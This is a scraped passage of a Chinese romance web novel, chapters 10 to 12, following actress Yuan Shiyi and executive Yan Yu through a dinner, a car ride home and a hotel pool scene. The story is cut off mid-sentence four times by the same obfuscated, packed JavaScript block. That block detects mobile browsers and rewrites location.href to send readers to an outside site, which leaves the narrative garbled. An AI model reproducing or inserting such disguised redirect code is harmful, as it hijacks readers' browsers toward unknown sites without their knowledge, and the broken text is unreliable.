直至某天,没有戏份的她去围观主演拍摄,却意外听到编剧与导演的对话。 “小元公主的情绪还是太平了,这部分应该是童年高光的,要不要重来一条?” “不用,后期剪辑的时候只留远景和背影就行,其它的让配音发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16290588|182669||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 挥。”导演说着让助理做下标记,随后继续道,“重来也没用,她可是真正的小公主,养尊处优的,哪懂什么人间疾苦?模子好,演得差不多就行了,反正戏份也不多,没必要浪费时间。” 老实说,那一瞬间元时亦确实很生气,脑袋炸开,有些发麻,人生前十四年,从没有人这样评价过她,应该说,从没有这样的评价进入她的耳里。 家境的优势她心知肚明,只是没想到,她自以为的认真努力终究是一场无用之功。 离开片场,她让司机瑞叔开车带她兜风。高速上,120的时速她依旧嫌慢,一年前在德国度假时,她表哥一位刚成年的好友载着他俩在高速上飙车,最高开到260,她从一开始的紧张害怕到最后的享受刺激,一路尖叫不停,最终,这件事以她父母黑脸,她姨夫,也就是她表哥亲爹把她表哥骂了个狗血淋头而结束。 吹了一阵子的风,她的情绪慢慢平静下来,她不开心没问题,可人家说事实也一样无错,况且他们说的还算客观,不是完全无法接受。 瑞叔从后视镜中观察到她心情好转,便偷偷下了高速,将轿车驶入市区。 在一个陌生城市漫无目的地闲逛,注意力总是很容易被转移。 元时亦思索够了,让瑞叔将车停在一所中学旁。 这所高中正好在举办开放日,她下了车独自进去,打算散散心。 一圈参观下来,元时亦被不少学长学姐塞了宣传手册,有学校官方的,也有各种社团的,她一一接过,放进小包里。没什么新鲜内容,她初中也是这类私立院校,课外活动五花八门,看得人眼花缭乱。 直到—— 元时亦后退两步,重新站至这个座落于角落的红色遮阳棚前。 自制的独立游戏? 在一众陶冶情操、锻炼身体乃至提高智商的课外项目中,这个小展摊的确有点与众不同了。 元时亦探头进去,“我能试玩一下吗?” “啊,可、可以。” 一位清瘦的男生坐在电脑后,许是没料到会有人突然光顾,他慌忙中起身,差点摔了怀中手柄。 那个小游戏具体什么样元时亦记不太清了,只记得一个小时后她成功打通关,整个人神清气爽。 以及,有几个讨厌的男生在背后围观她,点评这游戏无聊,关卡陷阱离谱,那时她本就因为演戏一事烦得没处撒气,蛐蛐声传来,断然不会忍受,她转头翻了个白眼,“无聊还一直看,没事干就去多做两套卷子,还是说你连我这关都没打到,好奇我怎么通关吗?” 都是十多岁的年纪,脸皮尚薄,被她一顿数落后,几个男孩落荒而逃,也没人再敢站在她身后,除了那位,一直沉默不语的摊主。 与周边那些热情的同学不同,这位男生一直安静待在座位上,不像其他人那般大胆“拉客”,要不是她多看了两眼名牌,怕是会像很多学生一样,错过这一方小天地。 记忆中,一直到她离开前,男生才终于开口问了她几个问题,只可惜回答的内容她已经忘得差不多,应该不是什么太好的话,毕竟她那会儿心情欠佳,搞不好一样迁怒到他头上。 至于男生有没有不高兴,元时亦实在没印象了,他头发有些长,眼睛藏在黑框眼镜后,看不清长相—— “噗!这什么啊!你拿假酒糊弄我?” 一道愠怒的声音在包厢内乍起。 ——回忆中断。 10. 主动 “不是、嗳!别倒——” 与元时亦隔了两个座位的江燚手忙脚乱,嘴上喊着“别倒”,身体却眼疾手快地抓起了垃圾桶。 而江燚邻座的男人,依旧气定神闲地享用晚餐,丝毫没有被身旁的小意外影响,只是随手递去了纸巾。 元时亦离得稍远,不便帮忙,好在何曦对这种酒桌之事见得多,劝人的同时也不忘将桌子擦干净。 非也显然是有些醉了,她双眼微眯,指指手中的杯子,态度明显:不行,必须加!满! 江燚刚要开口,盛着蜜金色液体的酒瓶就被身旁人递了过来。他下意识接过,待看清手里拿的东西,才气得将它一把掷在桌上,“去去去,净添乱!”说罢,他抬颌朝着元时亦这边示意,“你俩赶紧把它喝完。” 被江燚这么一提,元时亦稍坐直身体,视线不由地移向他口中的另外一人。 颜屿也恰时看过来,眸光很淡,映着灯色中的一点暖。 他轻扬了下手中瓶子,瓶中酒液所剩不多,约莫半杯的量,“元老师,还需要吗?” 很礼貌很客气的一句问语。 元时亦颔首,她可以再喝,这酒清甜中带着微酸,适合解腻,况且江燚是让他们二人一起喝完,那她不帮着分担一二也不合适。 颜屿收到她的回应,斜握瓶身自然起身,如先前那般向她走来。 元时亦连忙将杯中剩下那点饮尽,一回生二回熟,颜屿既然要帮忙倒酒,那她坦然受之,主动配合就好。 颜屿手掌伸出,许是为了避免触碰她轻捏杯杆的手,他做出一个端杯的姿势。不知是不是因为杯杆有些短,即使他已在尽量保持距离,酒杯易主的那刻,元时亦还是感受到一缕陌生触感。 很轻,似羽毛拂过,却又蕴着一抹与冷白肤色不符的烫。 “元老师需要多少?”颜屿动作迟缓,在等她的意思。 这番举措比之前更加得体,简直绅士得有点过了头。 让人很难不怀疑当初从门缝里看到的那人跟面前这个是否是同一位,这卖弄礼节的模样,哪有半点那时上位者的姿态? 元时亦搞不懂,只能强行将注意力从他修长的指节移至透明高脚杯,“就,一半吧。”她其实无所谓多或少,只是一半的量更容易让人拿捏准,颜屿表面功夫做得足,那她也该替人考虑。 “好,”得到她的回复,颜屿略作停顿,很浅地笑了笑,“那就一人一半。” 声线很平和,是一句再正常不过的复述,可被他这么一字一顿说出口,元时亦又感觉哪里有点怪怪的。 酒顺利分完,非也那边的“战况”也平稳下来。 不知江燚用了什么方法,总之非也最终还是接受了蜂蜜水,先前断掉的话题也继续接上。 “要不是看在我那部作品被你拍得还行的份上,我才不会把《诸灵》交给你。” 何曦顺势接话:“非也老师跟江导之前合作过吗?” 非也点头,“是呀,他那个拿了奖的文艺片,就是我写的。” “我用了个马甲,没人知道背后是我。” “当时他缠了我将近三个月,非让我帮他把剧本改一改,我觉得他根本就不了解文艺圈,写的什么玩意儿。” “我直接花一周时间给他重写了一部,省得后面再来烦我。” 提及此事,江燚一下涨红了脸,三十好几的男人一时间羞涩起来,开始疯狂往非也碗里夹菜,“阿也,多吃点菜。” 非也乜他一眼,“怎么,就许你不让我喝酒,不许我提你以前的破事了?” 江燚立马摇头,“没有没有。” 元时亦静静听着,终于捕捉到那丝不对劲。 阿也? 江导跟非也老师关系这么好吗? 她不自觉看向对面,颜屿还是那副慢条斯理的样子,似乎并不意外旁边二人的相处。 元时亦默默回忆一番,颜屿全程都很少话,不被指名道姓地要求参与讨论,他几乎是一个字都不会说。 也就倒酒一事上……多开了几次口。 电动转桌缓慢转动,元时亦一边旁听,一边用筷子拨弄面前那盘鱼肉。碗里的牛肉已吃完,她需要再垫点食物配酒。 趁着其他几人畅聊,元时亦想赶紧夹上几块,之后就不再多尝,只是鱼肉滑软,几筷子下去,容易碎掉不说,还不方便夹住。 就在她想放弃之时,移动的平台忽然停下,元时亦抬眸,发现那只感受过温度的手正按在桌子边缘,阻止它继续转动。 颜屿并未看她,眼皮轻耷着,浓密的眼睫扫下一排阴影。 似乎,一切只是巧合。 元时亦心跳加速一拍。 他是真的要夹菜,还是,为了帮她? 元时亦未敢深想,前倾身体仔细鼓捣鱼肉,然而不等她将最后一块弄进碗里,非也出声道:“桌子怎么停了?本王急需花生米!” 元时亦刚想解释,对面的声音就先一步传了出来,“稍等,我夹完这道菜就帮您转过去。” 颜屿说得自然,仿佛是因为他才导致了这处停顿。 可他刚才,好像并没有动过筷子。 颜屿夹走了卤水拼盘里最后两片牛腱,元时亦睫毛垂下,偷偷将视线收回,印象中,他是没有碰过这道菜的,只是因为它正好停在了他面前。 元时亦小口咬鱼肉,尽量克制自己的胡思乱想,说不定颜屿就是一个细心的人呢?毕竟他还抽空给江燚递过纸巾,非也想要再喝他也会立刻将酒瓶送过去。 这种有意无意的关注,一定是她的错觉,嗯,一定。 倏然,一道手机铃声响起,打断元时亦的七想八想。 是何曦的电话。 “抱歉,我失陪一下。” 何曦出去接听,包厢内只剩四人。 元时亦端起酒杯尝酒,几秒的时间,她已经自我说服了。管他是不是有在照顾她,只要不是明着说出口,她都权当不知道。 另外两人的话题还在进行,元时亦没去仔细听,直到—— “对了,五一你把儿子接走照顾几天,我要出去旅游。” 儿子,非也都有—— 不对!她好像听到了什么不得了的大瓜! 非也口中的儿子,不会是她跟江燚的,孩子吧? 江燚忙不迭点头,“好好好。” “咳。”清甜的酒香停留在喉间,元时亦差点呛到。 圈里之前是有传过江燚没结婚但有个儿子,可她怎么也不会想到,另外那个人会是非也。 转桌忽然在这时调转方向,刚从她身前经过的纸巾回到眼前,元时亦抬头,只见颜屿一瞬不瞬地望着她,“小心。” 元时亦心头一颤。 “儿子”这个瓜她都还没消化完呢,他怎么真就明着说出口了。真是“净添乱”! 她赶紧挪开双眼,却恰好对上非也的目光,非也挑着眉,正笑盈盈地看着她,哪还有半分方才那微醺的模样。 元时亦脸一下烧起来,她怎么有种吃瓜吃回自己身上的既视感,都怪颜屿,她不就是小咳了下嘛,给她递纸干嘛! 不过也怪她没忍住,如果非也说话的时候她憋了回去,就不至于这般引人“注目”。 元时亦默默伸手抽了张纸,轻拭嘴边的水渍,含糊的声音从纸巾下传出,“谢谢。” 门被推开,何曦回来得很及时。坏消息是,公司临时安排她去机场接个人。 何曦已买好了单,不会影响其他人继续用餐,“抱歉,这下真得失陪了,如果需要加菜,可以直接记账。” 非也起身,“不用,我们已经吃饱啦。”她接过江燚递来的披肩,“多谢何经纪款待,今天吃得很开心。” “几位满意就好。”客套话说完,何曦凑到元时亦身边,“时亦,你在这儿稍等会,我一会跟老刘打个电话让他过来接你。”老刘是公司给她安排的司机,只是事发突然,他赶过来估计需要一些时间。 元时亦刚要点头,身后却冷不丁传来颜屿的声音,“何经纪去忙吧,” “我可以送元老师回去。”话音刚落,颜屿就来到了元时亦身侧。 而打断对话的这一句,看似是商量的话语,语气却是干脆直接,不容拒绝。 元时亦微愣住。 她没听错 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16290589|182669||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吧,大老板要亲自送她回去? 虽然她知道这大概率是出于他的绅士教养,但于公于私,这似乎都不大合适…… 元时亦不动声色地往身侧扫视一眼。 更何况,他喝了酒,车也没有开来,要怎么送? “我半小时前联系了司机,车已经到了。”颜屿补充。 元时亦嘴角僵住,行吧。 “还是说,元老师想一个人在这儿等?” 元时亦抿了下唇,这,倒也不是很想,且不说她明星身份摆在这里,孤身一人容易被打扰,就说今天忙了一天,她还没做游戏日常呢,确实想早点回去。 可是被颜屿送回家,总觉得,不是太好。 何曦眼神看过来,询问,行吗? 元时亦很想说不是很行,但她也读出了何曦的斟酌。 她现在跟着大部队一起离开,的确会更安全一点,且颜屿的为人,也算得上让人放心——至少目前看来是如此。 于是十分钟后,元时亦坐进了这辆高档轿车里。 他换了一台车,没有打扰助理聚餐。 罕见的纯正迈巴赫,62S,银黑双拼。低调奢华,看似优雅,却又藏着一丝不易察觉的侵略性。 【何曦:到家了跟我报个平安】 【元时亦:好,迈巴赫62S,车牌号沪E·EE012】 何曦收到消息,不禁轻笑出声—— 这丫头对那位小颜总的防备心好像有点重啊。 元时亦对车其实并不怎么感兴趣,但她能一眼认出型号,是因为她很熟悉这个车型。 十八岁生日那天,父亲送了一辆同款给她,米白色,作为成人礼。只是她后来嫌颜色太软糯,就拿它跟表哥换了一辆银色超跑和现在所住的这所公寓——沪城中心地段,私密性却极好,小区配置顶级,单价近二十万一平,如果让她自己花钱买,她是肯定舍不得的。至于她表哥为什么会答应这桩亏本买卖,她现在也没搞明白,大抵是出于年少时带她到处胡闹的愧疚吧。 元时亦报完地址,一路无话。 车内安静,似乎连气息都不曾流动。内饰是沉闷的磨砂黑,无任何多余装饰,甚至未置一瓶车载香水,空荡着,充斥冷意。 明亮的眸子在昏暗中轻探一圈,后视镜内,颜屿闭着双眼,静靠,嘴唇抿成一条没有弧度的直线,柔和褪去,生人勿近的气场重现。 元时亦在心中点头,对啊,这样才对,这样才符合他的“霸总”人设。 饭局上那股说不出的“体贴”,实在令人诡异。 二十分钟后,车子抵达目的地。 没有让司机开进去,元时亦让车停在小区门口,她想走回去散散酒气,也想快点离开这个密闭空间。 ——路程不长,但也不短,待得越久,越让人如坐针毡。 推开车门,元时亦迅速下车,不带一丝留恋。 转过身,她礼貌地给颜屿道了声谢。 她并不希望颜屿给她回复,她觉得他就这样安安静静不说话最好。 于是她麻利地把车门推回。 然而,门彻底合上前,颜屿忽然偏过头,对她轻声:“元老师,要不要加个——” “砰。” 门关。 声音戛然而止。 那句没说完的话,被厚重的车门残忍隔绝,未能溢出半分。 元时亦整个人愣在原地,有一瞬间的宕机。 颜屿刚刚是不是喊她了? 他好像问了什么。 可门的动作太快,她根本来不及听啊…… 要不,把门打开再确认一下呢? 元时亦心中有些凌乱,她只是想大大方方结束此次行程,哪里知颜屿会在最后这刻杀出个“回马枪”。 他就不能早点开口吗? 纠结三秒,元时亦最终还是选择把门打开。好歹人家大老远送她一程,总得让人把话说完。 就在她抬起右手,即将触碰到门把手的那刻,双拼色的高档轿车突然启动,果断、坚决,不带任何其他情绪般,擦着她的指尖,扬长而去。 元时亦:……? 11. 种子 新买的L家小白鞋被元时亦一下一下磨在地上,擦出浅浅的痕印,她步子很慢,一路都在止不住回想,只是她绞尽脑汁地推测一阵,最终也没能想出颜屿当时到底要说什么。 元老师,要不要…… 要不要什么? 送她回去吗? 如果是要把她送到家门口,那他刚才应该会跟着一起下车。 那就是要给她什么东西? 可他车子似乎很空。 元时亦轻咬红唇,不管了,谁让他一路上都一言不发,直到最后才突然冒出这句来。她没听到,也是情有可原。 况且,既然是最后才说,那想必不会是什么重要的话,大概率是一时兴起罢了。 一句随口之言,没听见,应该也没什么关系。 来到家门口,元时亦总算定下神,晃晃脑袋,把与颜屿有关的种种都甩了出去。回家了就得好好玩好好休息,不能再想这些没用的浪费时间。 指纹成功解锁,元时亦开门进去,开灯、关门、换鞋,扑进沙发,启动游戏,一气呵成。 刚一登上游戏,周三月的私聊就发了过来。 【二月加一:宝,我今天刷到微博了。有空v个语音不?[搓手]】 周三月是高强度冲浪选手,日常游走在吃瓜的第一线,她能忍住一直不来跟被讨论得最激烈的当事人求证,已实属不易。 元时亦对于这位闺蜜可谓是了解得十分彻底,二人年少时就能通过一个眼神得知对方的想法,对于这种暗示意味明显的话,元时亦自是秒懂。 【亦有时:OK,等我先清个日常】 半小时后,语音接通。 元时亦起身去卸妆,在连着回了几个“嗯”字以后,她将手机放到一旁的台面上,那边果然传来一阵尖叫。 “啊啊啊——”周三月的声音响彻在卫生间内,“天啊我不是在做梦吧?!居然是真的!《诸灵》真的要影视化了,而且还是我最好的姐妹主演,呜呜呜不敢相信……” 原本元时亦是不能透露这些消息的,但如今剧方已经开始宣发,主演名单不日也将公布,那她便没必要再藏着掖着。 “我知道这件事的时候也很意外,尤其是,他们会找到我。”元时亦将两片化妆棉覆盖在眼睛上,“以及,我晚上刚跟非也老师吃了饭。”话一说完,元时亦就立刻后退几步,远离了自己的手机。 “卧!槽!非也?本人?!!!”周三月的激动之情显然要冲出屏幕。 元时亦手指揉圈,将双眼上残留的眼影擦拭干净,“嗯。”元时亦回忆起晚上的饭局,给出一个客观的评价,“一位非常优秀,且很有趣的女士。” 优秀一事,人尽皆知,至于“有趣”,元时亦以为三月会继续问下去,结果那头音调猛然调转,“不,不行,你不许说了,我不能探听我女神的私生活,对,我是一名纯粹的读者,只关注作品,呜呜呜呜我不能听不能听……” 元时亦扔掉化妆棉,轻轻笑一声,八卦之心,人之常情,即使三月要追问更多,她也不会说得太细,毕竟有些事情涉及到隐私,哪怕非也没有顾忌地告诉了她,她也不能对外说。 只是,周三月心中这股燃起的熊熊烈火并没有被冷静扑灭,她话锋一转,“今晚只有你们俩吃饭吗?没有别人?” - 颜屿到家后,径直走向书房。 隐形眼镜戴了这么多天,他还是很不习惯。 摘下柔软的透明镜片,颜屿打开抽屉,里面躺着一副雅致的银边眼镜。 眼镜的下方,摆放着一只黑色的高档木盒,木盒做工精巧,纯色无杂,许是颜色太深,周围雕刻的繁复花纹融进黑暗,让人难以发觉。 打眼一瞧,似乎只是个普普通通的木匣子。 颜屿熟练地摸到木盒开关,木盒开启的瞬间,桌上的手机亮了。 【夏季:今天饭局如何?】 颜屿拿出银边眼镜戴上。 饭局如何? 颜屿回想起元时亦偶尔僵硬的表情,抬手捏了捏眉心。 【颜屿:我好像吓到她了】 这是夏季猜了十多个也没预料到的结果,根据大数据显示,温和有礼的绅士更容易受到女性青睐,而颜屿本身就是这类人,不该有什么意外才对,尤其是,AI也推荐他保持自我呢。 夏季在键盘上敲击几分钟,得出结论:既然这条路走不通,那还是原路返回为好。 【夏季:那哥们的建议是,维持之前的霸总人设】 - “什么?你是说这位霸总,居然亲自为你端茶送水?” “只是倒个酒而已!”元时亦立刻义正言辞地纠正,她就知道,三月的八卦之心不会消失,只会转移。 “哎呀,夸张手法,夸张手法。” “真难想象,这位颜总那样以后,又突然这样。”周三月仔细分析一番,“会不会你今天见到的才是真实的他,前面的‘霸总’只是表面人设?” “不知道,”元时亦将脸清洗干净,敷上一片补水面膜,“可能是非也也在,他才这么礼貌吧。”毕竟他也跟非也倒了酒,她还是很难想象,这位“不留情面”的总裁,会是位彬彬有礼的绅士,大概是初见那次,印象过于深刻,让人难以忘怀。 元时亦走进衣帽间,临近五一,剧组将在节后开展各类开机前的准备工作,她打算提前过去,避开旅游高峰期。 这部戏的拍摄时长暂时定为半年,虽说中途可以出组,但一些重要物品还是得先收拾好带过去,免得后面来不及整理。衣物方面,当然还是以当季为主,只带少部分厚衣服,等入秋入冬再回来拿。 发现这边一时没了声儿,周三月问道,“你在整理东西了吗?” “是的,”元时亦拿出几个行李箱,在地上打开摆好,“我打算后天就去剧组那边,在横城。” “这么快啊,那你都没时间好好休息了。” 横城是著名的影视基地,国内不少影视剧都在那里完成拍摄,没有拍摄项目时,基地便可作为旅游景区供游客参观。 “尤其是马上五一,你现在就过去的话,会不会被路人发现?” “没事,我就待在酒店里。如果不提前去的话,游客一多就更难进去了,剧组节后就会开展工作了,我怕迟到,还是提前过去吧。” “也是哦。” 元时亦打开首饰柜,思考着自己要不要带点过去。虽然一般来说剧组都会准备好道具,但她通常都会带一些以做备用,她只拍现代戏,所以私服跟首饰经常能派上用场,只是这次算是现代奇幻,而阿似又是清淡素面的角色,她这些物品应该是用不上的。 只不过,有一件东西她还是得带着。 元时亦拉开中间的抽屉,米金色绒布中整齐地排列着一枚枚精致漂亮的胸针,贵气淡雅的珍珠,光泽亮丽的宝石,以及绣功上乘的绒花,每一枚都是她精心挑选的珍宝,独有右上角的一枚,与其他所有完全不同,格格不入。 这是一枚圆形的徽章,只有一元硬币大小,它坐落于右上的角落,并不起眼。 元时亦将它拿起,在光的折射下,徽章上的图案从两个叠加的“Y ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16290590|182669||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”字母变成一棵正在生长的小树——从下往上看去,种子破土,一株小芽不断长高、壮大,直至枝繁叶茂,充满生机。 一枚小小的金属徽章,漆黑的底色,却透出五光十色的斑斓。 这是她收到的第一份礼物,七年前,来自于一位她的粉丝。 收下时,她还来不及欣喜就被老师叫走,匆忙间,没能好好感谢那位送她礼物的男生,也同样没有时间观察这枚徽章的真实面貌。 直到回家以后,她将它拿出查看,才发现这是一枚光栅徽章,她的名字印于其上,两个“Y”字明显,而中间的“S”,藏在枝叶中,被不同的颜色区分开来,其位置正好在两个“Y”字之间。 这不是她受到的最贵重的礼物,却是最用心最有意义的礼物,像一份美好的祝福,祝愿她不断成长,冲向高处。 这枚徽章独一无二,不管去哪里她都会带在身边,其他首饰她都可以不管,只有这个,一定要放在她可见之处。 前几年她还偶尔会别在包包上,直到某次她行程暴露,被一些不友善的私生堵住,她拽着包一路奔走,等逃脱时,才发现别针被扯弯了。自那以后她便不敢再拿出来戴,只想小心翼翼地珍藏起来。 元时亦拿出一个透明小方盒,将徽章放进去。 - 【颜屿:你确定?】 【夏季:不然呢,目前来看只有“霸总”能引起她的注意,你本人不行】 【颜屿:……】 【夏季:咳咳,我不是那个意思,我是说,可能人家就喜欢“霸总”那一款】 喜欢“霸总”那一款? 颜屿摁灭手机,黑色屏幕上倒映出他居高临下的脸,窄框眼镜后是一双微凹的长眸,他眼皮轻耷下去,将情绪隐没。 他本人,就真的不行吗? 颜屿目光微移,落到抽屉里的木盒上。 他抬手过去,终是没有把木盒打开。抽屉被合上,传来一阵细小的响动之声。 那是十几枚金属徽章在木盒内晃动的声音。 或许是吧。 毕竟她连一句话都不愿意听他说完。 - “不是,我没有不想听他把话说完,”元时亦连忙解释,“这不是我正好关车门嘛!谁让他突然说话,这能怪我吗?” 元时亦将叠好的衣服一一塞进收纳袋里,再放进行李箱摆好,她特地将中间空出一个小空间,装徽章正合适。 “那让咱们来猜猜,他当时到底想说什么。”周三月摩拳擦掌,催促着元时亦回忆。 “我真记不得了,就记得他问:‘元老师,要不要?’” “要不要——” “嗯,要不要加个急呢……” 元时亦顺着周三月的话说下去,她正在微信上跟SA聊衣服的事,那边没有现货,只能从其他地方调。 “加个?”周三月重复到元时亦的话,突然,她灵光一现,“对啊!我知道了!” “啊?什么什么?”元时亦摸不着头脑,三月怎么就知道了。 “嘿嘿。”周三月语气暧昧,故意将声音压低,转换成略带磁性的成男声。 “元老师,要不要——” 元时亦:…… 有那味儿了。 周三月:“——加个联系方式?” 元时亦顿住。 记忆翻飞。 好像,那被车门碾碎的两个字,的确是“加个”。 那这么说…… 嗒。 一粒种子悄然落下,埋进松软的土壤里。 12. 暗涌 周三月骄傲叉腰:“嘿嘿,怎么样,像不像?” 元时亦轻应一声,“像。” 简直就是情景重现。 元时亦记忆拨回,结合当时的语境,颜屿想说的大概率就是这句话,毕竟要联系方式这种事,通常都发生在分别时刻。 只不过,他们之间,应该不会有什么私下接触了。因此,即使三月猜得没错,她没能听到,也不会有什么影响。 话题就这样被元时亦轻轻带过,她不想再像之前一样,想得太多,把心思带偏。 “那你刚刚说的加急是啥事?” “买泳衣,这次不是有水下戏吗,我打算带两件泳衣去,好久不游泳了,有空的时候得练一下。” 元时亦只穿过那么几个牌子的泳衣,之前的都不太合身了,再加上很久不游泳,便一直没有机会去挑新的,直到刚才收拾衣服她才想到自己还得带点游泳装备过去。 “对哦,阿似可是水之灵呢,估计在水里待的时间不少,你得注意养护皮肤。” “嗯嗯放心,”元时亦边回复微信上的消息边跟周三月继续解释,“家里的泳衣都有点旧,而且也大了些,我得重新买。正好最近上了几个新款,我看中了一件,想让她们直接给我寄到横城去,但可能是太火了吧,卖断货了,得从国外调货。” “你急着要?” “嗯,这不是离进组还有几天,我是想趁着这个时间去游一游。”元时亦提前过去,住宿这部分就需要自行安排,所以她特意让路芙订了那家带私人泳池的高档酒店。 “那你可以穿我送你的那套呀,就是去年给你的生日礼物。”周三月出声提醒,“当时你不是嫌紧就收起来了嘛,现在穿应该正好。” 被周三月这么一提,元时亦才想起这茬儿来。 这套泳衣是被元时亦收进了衣柜深处,不过理由可不止是太紧,而是,款式太过火辣。 元时亦不知怎地,想起今天试过的那件薄纱连体衣,脑海中忽然浮现颜屿目光探来的瞬间,她心脏猛跳一拍,脱口而出,“不行!” “啊?”周三月不明所以,问到:“还是太紧了吗?主要那边就算加急也得一周左右,那这几天你穿什么游泳呢?” “我可以先随便带件其他的应急一下,”元时亦略带心虚地回答:“你送的那件应该不紧了,就是……” “那你就穿呗,”周三月装起柔弱,循循善诱道,“那可是限量款耶,我好不容易抢到的,呜呜呜你当时还答应我等你减掉十斤一定穿,现在终于有机会了,你真的不想宠幸一下它吗?” 元时亦没辙,周三月每次用这个声线她就顶不住,“好吧好吧,我带着。” 反正私人泳池只对会员开放,隐私性好,就算有人认出她来,也大概率不会打扰到她。 更何况,这套泳衣确实好看,高调的玫红色,比基尼款,贝壳式的拉褶胸衣,中间由一枚镶钻金环连接,下身是低腰三角泳裤加斜边包臀裙,原本穿上裙子就会遮盖住几分裸露,然而泳裤上连着两根缀珠细带,勾在腰间,反倒又添了几抹纯欲之感。 元时亦将它拿出来放到床上摆开,不得不说,这衣服压箱底还真是有点可惜了。 “嘿嘿,就是嘛,尤其是它颜色真的巨衬你,我一眼相中!就算你后面不再穿了,只穿这一次,也算了却了我的一桩心愿……” “可以了三月。”元时亦打断周三月的深情演讲,虽然这泳衣的确性感了些,但至少合身,总比她现有的几件好。 于是,在抵达横城的第二天,元时亦特地起了个大早,早上七点,洗漱完毕,拿上装备,直奔顶楼。 泳池在晚上十一点至第二天六点间关闭,现在这个时间,应该是人员最少的时候。 她可以尽情游个痛快不说,也不用担心因为穿了这套泳衣而难以放开手脚。 推开厚重的玻璃门,暖风拂面而来,带着潮湿,还有一点极淡的消毒水味儿。 泳池的水是两小时前刚换过的,味道还没有完全散去。 元时亦在这家酒店住过几次,只是一直没有机会踏进这里,那时候她一门心思忙拍戏,闲暇时就只剩躺在床上打游戏的精力,运动健身类的活动,她已经很久没有做过了。 巨大的黑色流水纹大理石柱延伸向上,连至弧形穹顶,顶部吊缀无数圆润的雾色灯珠,若隐若现,如藏于暗夜的星。 星空下,是一座座被纯白缎面帘幕笼罩的独立空间,里面设立有单人或双人的木质躺床,供客人休息。 元时亦抬眼扫视一圈,果不其然,偌大的空间内,只有一对情侣在不远处的柚木躺床上聊天,看样子他们已经游完一轮正在休息了。 元时亦放下心,人比她想象得还要少,几乎可以说是“包场”。 也是,一般人哪里会在早晨七点起来游泳? 然而就在她整理好泳镜下水的瞬间,泳池右侧的水面下突然涌出一片水花,一道修长而挺拔的身影随之出现,流畅、利落,与元时亦的视线擦肩而过。 “颜总,我们就先回去喽。” “好,慢走。” 情侣二人携手离开,对话声由远及近,传进泳池的另一头,“今天游得真畅快,好久没有遇到这么合意的对手了。” “是啊,没想到这位颜总还挺深藏不露的,我原本以为搞互联网的人,身体都挺虚呢。”女人声调逐渐压低,虽说不是坏话,但当着人面讨论总归是不太好。 “刻板印象了吧,人家那身体素质,一看就——” “确实,比你保养得好多了。” “诶诶诶,说他就说他怎么还提起我来了……” 声音渐渐走远,元时亦适应好水温,从水下探出身来。 等等,她刚刚怎么好像听见有人说“颜总”? 哪个“颜”?哪个“总”? 不至于这么巧吧? 元时亦转身,淡蓝色水面倒映的穹顶星光被荡出一圈涟漪,波光点点下,是随浪游动的玫红色裙摆。 火红,热烈,耀眼。 她身处泳池中心,周围一切都一览无遗。 元时亦尽力睁大双眼,清亮的眸子被泳镜遮盖,落进一点碎光,角落里靠躺的那人,不正是—— “哗啦!” 元时亦猛地扎进水中,动静稍大,引起了对角男人的注意。 颜屿双眼轻抬,眼神聚焦到水池中央,一抹艳色浸染于其中,有些惹眼。 他视线并未停留太久,他没有观察他人的习惯,这个点是早了些,但有人出现也并不奇怪,毕竟泳池六点就开放了。 元时亦整个人没入水底,激起一簇浪花,由于动作太急,耳朵被翻卷的池水笼住,外界声音一瞬间被屏蔽干净,她能清晰地感受到自己正在加速的心跳。 居然真的是颜屿。 他怎么也在这里? 这也太巧了。 估摸着时间已经过去一分钟,元时亦仰起脑袋,小心地往那边望去,她带了泳帽泳镜,还隔得这么远,应该不会被他认出来吧。 不对!元时亦直起身体,他认出来了又有什么关系,她只是来游个泳,又不是干什么见不得人的事,干嘛要这样紧张地躲起来? 懊恼的情绪掀过,元时亦被自己下意识的动作搞得莫名其妙,心里发闷,可四肢划动起来,身体反倒是向后挪了去。 他们虽然有几面之缘,但还谈不上相熟,游泳这种事,还是沾了点私密性。大不了,她就在左边这块游,右边那块让给他,两人各游各的,互不干扰。 只是待她游完好几个来回,都迟迟未见其他人的身影,水中清澈,只她一人。 好奇心不免被勾出,他是走了吗? 元时亦从 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 